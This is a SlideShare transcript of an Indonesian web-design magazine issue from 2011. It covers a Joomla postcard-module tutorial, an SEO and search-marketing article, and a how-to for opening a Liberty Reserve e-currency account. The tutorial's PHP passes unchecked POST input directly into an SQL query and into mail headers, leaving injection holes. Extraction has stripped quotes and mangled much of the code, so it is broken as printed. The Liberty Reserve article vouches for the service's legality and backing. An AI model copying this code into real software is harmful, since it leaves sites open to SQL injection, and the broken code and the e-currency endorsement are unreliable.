Your SlideShare is downloading. ×
0
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Ilmu Website Magazine Edisi 2
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×
Saving this for later? Get the SlideShare app to save on your phone or tablet. Read anywhere, anytime – even offline.
Text the download link to your phone
Standard text messaging rates apply

Ilmu Website Magazine Edisi 2

2,890

Published on

Ilmu Website Magazine Edisi 2

Ilmu Website Magazine Edisi 2

Published in: Education, Technology
0 Comments
5 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total Views
2,890
On Slideshare
0
From Embeds
0
Number of Embeds
0
Actions
Shares
0
Downloads
0
Comments
0
Likes
5
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
No notes for slide

Transcript

  • 1. ilmuwebsitemagzMajalah wajib para web developer,web designer, graphic designer danphotographer5KoleksiPlugin pilihanCMS Kesayanganmembahas secara tuntas koleksi plugin untukwordpress, joomla, dan cms lain PHP basedMembuat ModuleSendmail KartuUcapan di JoomlaServer ScriptingMembuat formlogin unikMengakrabkan diridengan mode ManualPhotographyGraphic DesignCyberBussinessSchoolIT Training,Specialized forWebsite Programming,Graphic Design,Photography, Flash& 3D Animation[cbs]photoLebih dalam denganmode Manualwww.cbs-bogor.netSponsored by :Kaffah GemilangIntegratedBussinessCommunicationWebsite DevelopmentWeb Based SoftwareSEO & Internet MarketingGraphic Design IllustrationOur Servicewww.ibckaffah.comservice.ilmuwebsite.comEdisi Desember 2011
  • 2. Loka DwiartaraYogi WicaksonoHartono GunawanM. Tovan Satria PutraRisky IrawanIvan YudiantoBriliantSatya DanuHairul AzamiSyahril RohmanIskandar SoesmanRisky Irawaninfo@ilmuwebsite.comJl KH Sholeh Iskandar KM. 2Tanah Sareal, Bogor, 16164Jawa Barat, Indonesia0251 7111 903Pimpinan RedaksiDesain & Tata LetakKontributorMarketing & PeriklananProductionKontakwww.ilmuwebsite.comwww.informasibogor.comwww.cbs-bogor.netGilang A. RamadhanAnggie JatrasmaraPT. Kaffah GemilangGedung STIO Lantai 3RedaksiKami DilahirkanKembaliukup sudah tidur lelapnya. Tidur yang lelap ini bukanberarti menjadikan kami terus tidur untuk selamanya,Cwalaupun kami terbuai pada akhirnya, namun tidurkami ini digunakan sebagai ajang persiapan agar kami tetapterjaga selama mungkin. Hingga mungkin kami tuakarenanya, dan terlahir kembali generasi setelah kami.Terdengar seperti alibi, tapi begitulah adanya.Setelah sekian lama hilang dari peredaran, kami kembalimenghadirkan ilmuwebsite magazine, majalah wajib paraweb developer, web designer, graphic designer danphotographer. Fokus di majalah ini masih kepada empatpokok bahasan tersebut.Dalam edisi kali ini kami membahas secara tuntas topikpembicaraan yang kini semakin marak digunakan olehbanyak orang. Content Management System (CMS). Mulaidari hanya membuat company profile, blog, website news,hingga toko online. Di sini kami akan membimbing Anda yangbaru menginjak dunia web menuju puncak yang Andainginkan.Kata kuncinya adalah plugin. Namun tidak semua plugin yangakan kami hadirkan melainkan hanya segelintir plugin pilihanyang kami sediakan untuk Anda.Akhir kata kami ucapkan selamat menjelajahi majalahilmuwebsite, persembahan kami, untuk anda, pembaca setia,dan pengunjung ilmuwebsite elearning community.Salam.Loka DwiartaraDaftar IsiMengakrabkandiri denganModeManual70Membuat Module Sendmail KartuUcapan dengan Teknik Joomla1Awal Mula Search Engine Marketing 711Apa itu Liberty ReserveHTML Untuk Pemula 13Mengenal Array Bag. 2 1517Mengenal Module, Component, pada joomla& Keuntungan membuat sendiri modulepada joomla61Membuatpreloadersederhana& unik505256Kerentanan Validasi input pada PHP &penanggulangannyaTeknik membuat buku tamuyang aman dari serangan attackerMembuat form login unik dengan Photoshop61Membuat preloader sederhana & unik64Membuat website flash sederhana Part 169 Overviewwebsite flash& animasi flash74Semua bisa membuat game RPGdengan RPG Game Maker73 Referensi Mode Manual Kamera DSLRKunci Mati sistem operasi dengan USB System 7476 Explorasi Ancaman JPEG of Death78 Konfigurasi & Pemanfaatan VPNdalam “Bisnis Online”81 Addons Firefox Sangat Membantu Anda84 Menyimpan data secara onlinedengan mudah85 Membuat fitur chat dengan shoutzmix86 Membuat tombol icon dengan CSS90 Membuat Sendiri Template Wordpress93 Klinik Bisnis
  • 3. We Will Do It For You!Kami memiliki tim dengan jam terbang tinggi,yang telah menghabiskan ribuan jam bergelut dibidangnya.Tim kami mampu merelealisasiskan konsep Andamenjadi teknologi marketingyang mampu menjadikan mesin uang untuk Anda dengan cepat.Is About Getting Money & Increasing Your BrandInternet adalah cara tercepat memasarkan produk Anda,meningkatkan Brand perusahaan Anda.Dan menghasilkan sistem marketing yang mampu menjual produk & jasa Anda terjual cepat melesat.“Kami Ahlinya!”Web DeveloperInformation Systemwe Help You your Marketing PowerMAXIMIZEIntegrated Business CommunicationPT. KAFFAH GEMILANGInternet MarketingWork Shop : Jl. KH Sholeh Iskandar Km.2 Bogor 16164Telp : 0251 - 7111 903 Fax : 0251 - 8390612Head Office : CEO Sweet - Pacific Place 15th Floor Jl Jendral Sudirman,Kav 52 - 53 Jakarta 1219http://service.ilmuwebsite.comhttp://ibc.kaffah.com
  • 4. 1ScriptingServerMembuat Module Send Emailkartu ucapan dengan teknikjoomla 1.0Joomla adalah Cms (Content Management System) yang gratis atau free, bisa di sebut juga open souceartinya joomla bukan Hanya gratis tetapi kita juga dapat mengedit code nya sesuai kebutuhan kita dalammembuat website.oomla mempunyai banyak sekali Componentdan module dan itu juga gratis, pada artikel kaliJini kita akan mencoba membuat module dengantekhnik joomla 1.0, walau telihat seperti sudahketinggalan melihat Joomla sekarang sudahmencapai versi 1.5.9 tetapi tidak ada salahnya kitauntuk membuatNya atau mempelajarinyaAkan tetapi perlu di ketahui kita hanya belajarmembuat module saja, jadinya kita harus menginsertsecara manual serta memasukan image yang akankita upload manual juga karena kita belum membuatcomponentnya dilain kesempatan kita akan cobamembuat componentnya :D.Oke sekarang kita akan mencoba membuatnya.Siapkan editor bisa juga menggunakan notepad ataujuga dreamweaver atau editor-editor kesukaan,selanjutnya buat sebuah folder dengan namamod_postcard yang didalamnya kita akan isi code-code PHP, kita membuat aturan si user harus loginterlebih dahulu sebelum mengirim sebuah kartuucapan ke email yang di tuju.Oke selanjutnya kita siapkan schema databaseterlebih dahulu berikut schema databasenya :Kartu ucapanMembuatModule Send Emaildengan tekhnikJoomla 1.0
  • 5. CREATE TABLE `jos_sendcard` (`id` int(11) NOT NULL auto_increment,`NameCard` varchar(150) default NULL,`image` varchar(200) default NULL,`publish` int(11) default NULL,`Word` text,PRIMARY KEY (`id`)) ENGINE=MyISAM AUTO_INCREMENT=16 DEFAULTCHARSET=utf8;kemudian execute perintah sql tersebut pada database Joomlaanda, karena kita akan membuatnya di Joomla bukan :), okeuntuk selanjutnya buat sebuah folder kartu terlebih dahulu diFolder Images berlokasi root dari folder Joomla anda misalnyaanda menaruh folder Joomla didan dibawah folder imagesitu anda buat sebuah folder bernama kartu dan isi kan 10Jumlah macam Image kartu dengan nama kartu1.jpeg hinggakartu10.jpeg dan akan kita coba tampilkan di halaman websiteanda.Sebagai contoh menginsert data dengan perintah sebagaiberikut:C:/Xampp/htdocs/Joomla/imagesingat selalu extensionnya misal anda mempunyai extension .jpgatau .jpeg itu berbeda dengan itu kita harus perhatikan lagi.;insert into`jos_sendcard`(`id`,`NameCard`,`image`,`publish`,`Word`) values (1,Selamat IedulFitru,kartu1.jpeg,1,Selamat hari raya IedulFitri),(2,met Lebaran,kartu2.jpeg,1,MetLebaran yah kawaan),(3,Met iedulFitri,kartu3.jpeg,1,Selamat hari raya IedulFitri Mohon maaf yaaah); mod_postcard.php<?phpdefined( _JEXEC ) or die( Restricted access);$send=$_POST[Send];$db =& JFactory::getDBO();//Ketika Tombol Submit Di Clickif(isset($send)){$user=& JFactory::getUser();if ($user->id > 0 ){Sendimage();Confirm();}else{notLogin();}}kita taruh code tersebut di paling atas pada kata-karadefine(J_EXEC) yang artinya kode tersebut tidak bisa di akseslangsung menuju folder tersebut jika alamat URL langsungmengakses folder module tersebut akan keluar di browserkata-kata “Restricted access”selanjutnya kita buat sebuah variable $send diisi denganmethode POST, kemudian $db=& Jfactory::getDBO(); artinyakita akan mengambil sebuah data dari database . Selanjutnyatulis dibawah code diatas :kita akan membuat code percabangan Jika tombol submit diclick dia akan mengambil user dengan kode $user =&Jfactory::getUser(); kemudian dia mengeceknya.Jika $user > 0 itu artinya jika user dalam keadaan Login makaakan menjalankan Function Sendimage() yang akan kita buatselanjutnya dan menjalan function Confirm() yang juga akankita buat selanjutnyadan jika user tidak dalam keadaan login maka kita akanmenjalankan function notlogin() juga kita akan buatselanjutnya,oke selanjutnya kita akan menampilkan image dan serta kata-kata yang akan di tampilkan pada website anda tulis code.ilmu Website |MagazineE-learning community offline version2
  • 6. .ilmu Website |Magazinescripting$limit = (int) $params->get( jumlah );//mengambil parameter dari XML dengan name =Jumlah$kolomnya = (int) $params->get(kolom);//mengambilparameter dari XML dengan name = kolomfunction ShowImage($limit,$kolomnya){$db =& JFactory::getDBO();$query = SELECT * FROM #__sendcard WHERE publish=1order by rand() limit .$limit;$db->setQuery($query);$result = $db->loadObjectList();$kolom=$kolomnya;echo <form id="adminForm" name="adminForm"method="post" action="" ><table width="100%" border="0"cellpadding="0" cellspacing="0" align="center"><tr><td colspan="2" align="center"style="color:#654545"><b>Pilih Kartu Ucapan Yang Anda Sukadan kirim ke email sahabat, keluarga atau rekanan anda. </b></td></tr>;$i=0;foreach($result as $results){if($i>=$kolom){echo </tr><tr>;$i=0;}$i++;e c h o < t d a l i g n = " c e n t e r " > < i m gsrc="images/kartu/.$results->image." alt=".$results->NameCard." title =".$results->NameCard." height="50"width="50"><br>;echo "<input type=radio name=namecardvalue=$results->id><font color=#654545>".$results->NameCard."</font><br><br>";echo </td>;}echo</tr><tr>< t d c o l s p a n = " 2 "align="right"></td></tr><tr><td colspan="2" align="center"s t y l e " c o l o r : # 6 5 4 5 4 5 " > < b r > E m a i l A d d r e s s&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </td></tr><tr><td colspan="2" align="center"><label><input type="text" name="email"id="email" /><input type="submit" name="Send"value="Send" /></td></tr><tr>Gambar: alur kerja PHP.ilmu Website |MagazineE-learning community offline version3Gambar: icon PHP dan MySQL
  • 7. <td colspan="2">&nbsp;</td></tr></table></form>;}Penjelasan :$limit adalah variable yang akan kita define untukmenentukan berapa banyak image yang akan di query,dan mengambil dari variable jumlah, yang terdapatpada file .xml yang akan kita buat selanjutnya,Begitu juga dengan $kolomnya adalah variable yangakan kita define untuk menentukan berapa banyakkolom yang akan kita buat,dan mengambil darivariable kolom yang terdapat pada file .xml yang akankita buat selanjutnya juga.Oke kemudian jalankan fungtion tersebut dengan caramemanggilnya tuliskan di bawah function tersebut:ShowImage($limit,$kolomnya);oke selanjutnya kita buat function sendimage :function Sendimage(){$user=& Jfactory::getUser();//mengambil Useryang sedang ONLINE$db =& Jfactory::getDBO();//mengambildatabase$valimage=$_POST[namecard];//mengambildari$query = "SELECT * FROM #__sendcard WHEREid=$valimage";$db->setQuery($query);$result = $db->loadObject();//Ngambil Image/*Host bisa diganti menurut anda hosting karena kitatidak mengatachment imagenya melainkan hanyamengirimnya saja dengan format HTML*/$image=<imgsrc="http://localhost/joomlaku/images/kartu/.$result->image.">;//Header$header .= "MIME-Version: 1.0 n";$header .= "Content-type: text/html;charset=iso-8859-1 n";$header .= "from:$user->namernCc:$mail_ccrnBcc:$mail_bcc";//Email Tujuan$email=$_POST[email];//Judul$judul="Anda Mendapatkan Email Berupa KartuLebaran";//content$content=<table width="425" border="1"cellpadding="0" cellspacing="0"><tr><td colspan="2"bgcolor="#EF9BF9"><div align="center"><spanclass="style1">Selamat Anda Mendapatkan Kartu ucapanDari <b>.$user->name.</b> </span></div></td></tr><tr><td width="195" bgcolor="#EF9BF9"><spanclass="style2">Email Pengirim : </span></td><td width="321">&nbsp;&nbsp;;$content.= $user->email; //Email user yangterdaftar dalam Database Joomla$content.=</td></tr><tr><td bgcolor="#EF9BF9" valign="top"><spanclass="style2">Berikut Gambar : </span></td><td>&nbsp;&nbsp;;$content.= $image;$content.=</td></tr><tr>.ilmu Website |MagazineE-learning community offline version4
  • 8. <td bgcolor="#EF9BF9" valign="top"><spanclass="style2">Berikut Gambar : </span></td><td>&nbsp;&nbsp;;$content.= $image;$content.=</td></tr><tr><td bgcolor="#EF9BF9" valign="top"><spanclass="style2">Berikut Ucapan dari Pengirim</span></td><td>&nbsp;&nbsp;;$content.= $result->Word; //mengambilkata-kata dari database$content.=</td></tr></table>;//mail($email,$judul,$content,$header);}selanjutnya kita buat sebuah funtion Confirm:echo $scrip;}}oke funtion Confirm akan tampil ketika user mengirimsebuah Image dan itu berhasil:selanjutnya kita buat function notlogin:function notLogin(){echo "<h2>You Must Login First</h2>";}nantinya pesan ini akan muncul jika kita tidak dalamKeadaan Loginselanjutnya jangan lupa buat file xmlnya kita beri namasama dengan nama modulnya yaitu : mod_postcard.xmlberikut isinya:function Confirm(){$scrip=<script language="JavaScript">alert(".JText::_( Your CardHas been Send).");</script>;<?xml version="1.0" encoding="utf-8"?><install type="module" version="1.5.0"><name>Post Card</name><author>Roll Project</author><creationDate>Sep 2008</creationDate><copyright>Copyright (C) Ariel</copyright><license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license><authorEmail>rohman17@yahoo.com</authorEmail><authorUrl>www.joomla.org</authorUrl><version>0.1</version><description>DESCSTATISTICS</description><files><filenamemodule="mod_postcard">mod_postcard.php</filename><filename>index.html</filename></files><params><param name="moduleclass_sfx"type="text" default="" label="Module Class Suffix"description="PARAMMODULECLASSSUFFIX" /><param name="jumlah" type="text"default="" label="Jumlah Image yang ditampilkan"description="Jumlah Image yang akan Di tampilkanpada halaman depat website anda"></param><param name="kolom" type="text"default="" label="Jumlah Kolom" description="JumlahKolom"></param></params><params group="advanced"></params></install></params><params group="advanced"></params></install>.ilmu Website |MagazineE-learning community offline version5
  • 9. oke setelah semuanya terkumpul jangan lupa kita zipterlebih dahulu dan kita masuk ke administratorkemudian ke menu Extensions-Install/Uninstall dan cobakita install module yang telah kita buat,Oke berhasil :D, selanjutnya tampilkan deh moduletersebut:dari menu module manager dan ternyata suda adatetapi belum di enable/ di tampilkan sekarang kitatampilkan dengan cara kita masuk ke menu tersebut,oke isikan untuk jumlah image yang di tampilkan dengan8 dan dengan kolom 2 . selanjutnya kita enable terlebihdahulu :D,dan taruh position di left, dan coba sekaranganda lihat website anda akan ada sebuah module,sekarang anda isikan alamat email anda jika anda Onlineatau terhubung dengan internet maka akan terkirim keemail anda,pada artikel selanjutnya saya akan memberisedikit pengetahuan agar kita dapat menerima emailpada mode offline alias kita tidak terhubung denganinternet. Sekian dahulu dari saya semogabermanfaat.[Syahril rohman]gambar Typography mySQL.ilmu Website |MagazineE-learning community offline version6Gambar: ikon PHP
  • 10. SearchEngineMarketing7.ilmu Website |MagazineE-learning community offline versionMarketingInternetSEO&Apa ituLibertyReserve?11aat ini jumlah website bertambah banyak dari tahun ke tahun mulai dari website pribadi, blog, website komunitas hingga website yang digunakan untukpemasaran produk, semuanya bertambah banyak, keberadaan search engine di dunia internet sangat bermanfaat untk membantu kita menemukanSinformasi yang kita butuhkan dengan cepat,saat itulah muncul pemikiran bagaimana memanfaatkan search engine sebagai alat bisnis untuk mempromosikan website. Nah hal ini lah yang mendorongmanusia untuk mempelajari bagaimana teknik search engine marketing itu sendiri.SearchEngineM a r k e t i n g
  • 11. ada tahun 2006 saja, para pengiklan Amerika Utara telah menghabiskan $9.4 Miliyar untuk biaya searchengine marketing, jumlah ini meningkat 62% dari tahun sebelumnya. Hal ini mengindikasikan bahwa duniaPbisnis internet marketing terus meningkat.Saat ini terdapat banyak sekali bertebaran search engine di dunia internet, beberapa diantaranya termasuk dalam“The Big Theree” adalah Google, Yahoo, MSN.Sedangkan yang lainya hanyalah search engine kecil yang databasenya ada yang mempunyai sendiri seperti, , , dan ada juga yang databasenya share atau mengambil dari The Big Three,seperti seperti , .Pada prakteknya perusahaan search engine masing-masing memiliki sistem advertising sendiri-sendiri, sepertiGoogle dengan Google Adwords dan Google adsense nya yang menghasilkan pendapatan ($16.4 miliyar pada tahun2007),di samping google terdapat Yahoo dengan sistem Yahoo Search Marketing dan YPN nya, dan MSN dengan MicrosoftAdCenter nya.altavista.com dogpile.com ask.comhotbot.com aol.comearch engine marketing (SEM), adalah salah satu bentukdari Internet marketing yang dalam promosinyaSmenggunakan Search Engine sebagai alat utamanya.Metode dari search engine marketing sendiri terbagi menjadi 2:1. Search engine optimization (SEO)2. Paid placementPekerjaan utama dalam search engine marketing adalah kitaharus mampu menempatkan website kita pada posisi teratasdalam halaman hasil pencarian atau yang biasanya disebut jugadengan Search Engine Result Page (SERPs), posisi teratas tersebutdapat kita capai dengan gratis atau berbayar.Mari kita deskripsikan lebih lanjut mengenai metode-metodediatas:Gambar: Typographi 3 dimensi SEOGambar: ilustrasi SEO marketing channel.ilmu Website |MagazineE-learning community offline version8
  • 12. 1. Search engine optimization (SEO)oba lihat kontent yang ada pada kotak merah, dalamhalaman hasil pencarian, posisi tersebut adalah posisiCyang paling potensial, ada pada bagian sebelah kiri, tepatpada posisi yang pertama di lihat oleh orang yg melakukanpencarian, tentu saja hal ini akan mendapatkan kemungkinanterbesar untuk mendapatkan klik, maka dari itu perebutan padaposisi tersebut sangatlah tinggi.Sebaiknya kita memantau secara berkala posisi website kita padasearch engine, karena posisi ranking pada search engine tidaklahpasti, bisa saja hari ini kita ranking #1, tapi bisa drop di ranking #8pada keesokan harinya. Posisi naik turun ranking kita pada searchengine itu di tentukan oleh beberapa faktor SEO.Salah satu faktor SEO yang mempengaruhi posisi ranking di searchengine adalah faktor link, link bagi website kita sangatlah penting,seperti voting pemilu pemilihan presiden, jika jumlah orang yangmemilih kita untuk menjadi presiden itu jumlahnya banyak,maka jelas kita akan menjadi seorang presiden karena hasil pemiluyang sah. Hal ini sama dengan faktor SEO yang kita sebutkan tadiyaitu “Link”, jika jumlah website yang melink website kita jumlahnya banyak, maka Search Engine akan menentukan siapa yanglayak dan berhak menempati posisi ranking 1.Dengan metode ini kita dapat menempatkan website kita padaposisi teratas dalam search engine dengan tanpa biaya alis gratis,namun hal ini tidak dapat di capai dengan sekejap dan semudahyang kita harapkan, kita harus memahami teknik SEO itu sendiri.Nah setelah kita memahami teknik SEO maka yang harus kitalakukan adalah mengimplementasikan dengan seksama, hindarilahhal-hal yang dilarang dan tetap bersabar.2. Paid placement / Pay per ClickPaid placement atau/ Pay per Click yang posisinya ada di sebelahkanan ini di golongkan dalam metode search engine marketingkarena dalam prakteknya kita dapat memasang iklan padahalaman pertama hasil pencarian atau SERP dengan mudah dantanpa teknik SEO, sistem penampilan iklan nya punmenggunakan relevansi keyword, jadi jika yang di tampilkan olehSERP adalah keyword hosting maka yang akan di tampilkanadalah iklan mengenai Per-Hostingan.Paid placement / Pay per Click selain menawarkan penempatandi halaman pertama SERP juga di implementasikan pada jaringanperiklanan pada masing masing Search Engine, seperti Googledengan Google adsense Text Ads, dsb.Nah dengan kedua metode di atas kita sudah dapat mencapaifaktor search engine marketing, memang kita harus fokus untukmenempatkan website kita pada halaman pertama hasilpencarian dengan keyword yang kita bidik, karena kita tidakmembutuhkan traffict besar yang tidak berkualitas (atau di sebutjuga traffict sampah), melainkan kita hanya membutuhkantraffict secukupnya tapi berkualitas, syukur syukur jika kita bisamendapatkan traffict besar dan berkualitas, pasti angkapenjualan akan meningkat dan kita akibatnya akan menjadi kaya,become a rich man ... :D.Untuk mencapai posisi ranking 1 pada search engine terdapatdua pilihan, jika anda termasuk dalam kategori berkantong tipisdan ingin selalu ingin menggunakan gratis sebaiknya kitamempelajari dan menggunakan metode yang pertama yaituteknik SEO yang mana cara ini tentunya tidak mudah dan butuhperjuangan ekstra.Tapi teknik SEO ini mempunyai masa depan yang lebih baik, tapijika kita berkantong tebal, tidak ingin berlama lama untukmempelajari dan menerapkan teknik SEO, silahkan ikut programPaid placement / Pay per Click..ilmu Website |MagazineE-learning community offline version9
  • 13. Meta Description - Pendukung Internet marketingMeta description adalah tag html yang ada diantara tag <head> </head>, bentuk tag nya sendiriseperti ini: <meta name="description" content="">, fungsinya sangat amat berhubungandengan search engine, kita dapat menempatkan teks atau kalimat yang kita kehendaki padahasil pencarian search engine.Contoh:Saya meletakkan tag meta description berikut pada salah satu halaman website ilmuwebsitedengan alamat<meta name="description" content="Memberikan informasi tentang Hosting Gratis yang adadi internet secara lengkap.">Dan lihat hasilnya setelah ter-index oleh google:http://www.ilmuwebsite.com/hosting_service/Terlihat sekali kan bahwa ada sesuatu yang berharga dan bisa kita manfaatkan agar dapatmenarik pengunjung dan mendapatkan klik dari para pencari informasi. Sebaiknya pada tagdescription ini kita letakkan kalimat-kalimat yang singkat namun penuh arti dari halamanwebsite yang kita maksudkan.Perlu diketahui beberapa orang percaya bahwa penempatan keyword pada tag meta descriptiondapat meningkatkan posisi ranking website kita, hal itu salah karena meta description hanyalahsebagai deskripsi akan content sebuah halaman website yang di tampilkan oleh search engine.Kesimpulan dari search engine marketing adalah kita harus bisa menempatkan website kita palingtidak pada halaman pertama hasil pencarian search engine, dan kita harus bisa mendapatkan traffictyang berkualitas, bukan jumlah nya tapi kualitasnya. Pelajari teknik SEO, karena sebagus apapunbentuk paid palcement, organik SEO adalah yang terbaik[anggi].ilmu Website |MagazineE-learning community offline version10
  • 14. Apa ituL i b e r t ypakah anda pernah bertranskasi online? Dalam hal iniLiberty reserve adalah e-currency yang tepat bagi andauntuk berbisnis di dunia maya. Liberty ReserveAmerupakan salah satu e-currency yang 100% dibackupoleh U.S. dollars dan Emas (untuk Account LR-gold). Dalammelakukan transakasi, Liberty Reserve berperan sebagai suatumetode pembayaran dalam bentuk rekening/account yangberoperasi secara online, Sehingga anda dapat menggunakanLiberty Reserve sebagai pengganti media pembayaran onlineyang dalam bentuk tunai (uang). Liberty Reserve adalah LEGAL,Kantor Pusat LibertyReserve berkedudukan di CostaRica danwebsite(Pemilik/Pengelola) resminya dapat dilihat diwww.libertyreserve.comBerikut cara memulai membuka account sampai denganbertransaksi dengan LRProses pembukaan Rekening Liberty Reserve :1. Langkah awal yang perlu dilakukan adalah kunjungi website LR padaalamat masuk dan register ke website LibertyReserve. Setelah itu Silahkan klik menu "Create Account" di menu atastengah untuk melakukan registrasi Liberty Reserve.2. Akan muncul Step E-mail Verification : Pada Step 1 masukkan emailanda (gunakan hanya dengan email yg aktif), setelah klik Submit laluanda akan menerima kode aktivasi via email yang nantinya akan andamasukkan ke kolom di Step 2.3. Lakukan pengecekan email anda untuk mendapatkan kode aktivasiAccount Liberty Reserve, lalu masukkan ke kolom aktivasi pada Step 2lalu klik "Next"4. Isi data-data Account Name, Password, Login PIN, Security Question(Masukkan pertanyaan yang akan mengingatkan anda jika nantinyaanda lupa password), Answer (Isikan dengan jawaban dari pertanyaankolom Security Question sebelumnya),5. Isilah First Name, Last Name, Company Name, Address, dll (isilahdengan data yang jelas dan benar)Lalu Klik Agree=>6. Setelah itu anda akan diberikan Nomer Account Liberty, Master Key/ Security PIN 3 digit, dan detail informasi account anda (hal ini sangatpenting untuk di save, gunakan tombol print screen untuk melakukancapture pada keterangan acc anda, lalu paste pada program pengolahgambar pilihan anda untuk melakukan backup)Cara Mengakses Rekening Liberty Reserve :Klik http://www.libertyreserve.com untuk Login.Klik menu Account Login yang berada diatasStep 1 : Masukkan Nomor account anda, Login PIN, dan nomercaptcha yang berada pada kotak baguan bawah, kemudian Klik Nextwww.libertyreserve.comStep 2 : Masukkan Password, untuk alasan keamanan bilaanda bertransaksi di Warung internet atau tempat rental,gunakan keyboard virtual dan centang I confirm that mycustomwelcomemessageiscorrect.LaluklikLoginBila data yang anda masukkan telah benar, selanjutnya andaakan dibawa pada halaman Liberty Reserve account anda,menuyangdisediakanadalah:-Account :untuk melihat saldo danaanda.-Profile : untuk merubah profile andad a n s e t t i n g a c c o u n tanda-History : u n t u k m e l i h a t r i n c i a ntransaksi.-Transfer : u n t u k m e n t r a n s f e r kerekening Liberty Reserveoranglain.-MyWallet : untuk membuat dompet virtualyang jumlah isinya dapat andab ata s i . Wa l l et i n i a ka nm e m p e r m u d a h d a nmempercepat anda transfer kerekening Liberty Reserve oranglain, namun hal ini memilikitingkat keamanan lebih rendahdaripadaloginsecaranormal.-MerchantTools : b e r g u n a u n t u k p a r awebmaster dalam membuatform transfer secara otomatis,tokoonline,dll-Messages : untuk mengirim pesansesama pengguna LibertyReserveReserve??Gambar: Liberty reserve.ilmu Website |MagazineE-learning community offline version11
  • 15. Proses pengisian dan Pencairan account Liberty ReserveUntuk melakukan aktifitas transaksi anda perlu melakukan pembelian $ LR. Dalam istilahLiberty Reserve dinamakan dengan proses jual beli Liberty Reserve. Di Indonesia ini banyakmerchant jual beli E-Currency Liberty Reserve yang baik, diantaranya adalahWarungdollar.com, IndoChanger.com, Fastchanger.com dll. Masing-masing marchantmempunyai tata cara untuk proses jual beli Liberty Reserve tersebut.Harga jual dan beli juga sangat bersaing, anda bisa membandingkan hal itu dengan melihatpenawaran yang diberikan masing-masing changer. Pada umumnya mereka menggunakanonline banking sebagai sarana transaksi dan rata-rata proses tersebut hanya memakan waktubeberapa jam sampai 1 hari saja.Sebagai contoh, Anda membeli Liberty Reserve hari ini, maka setelah proses selesai, andaakan mendapatkan acc LR anda terisi dengan sejumlah $ yang anda beli padachanger[Brilianth].ilmu Website |MagazineE-learning community offline version12$
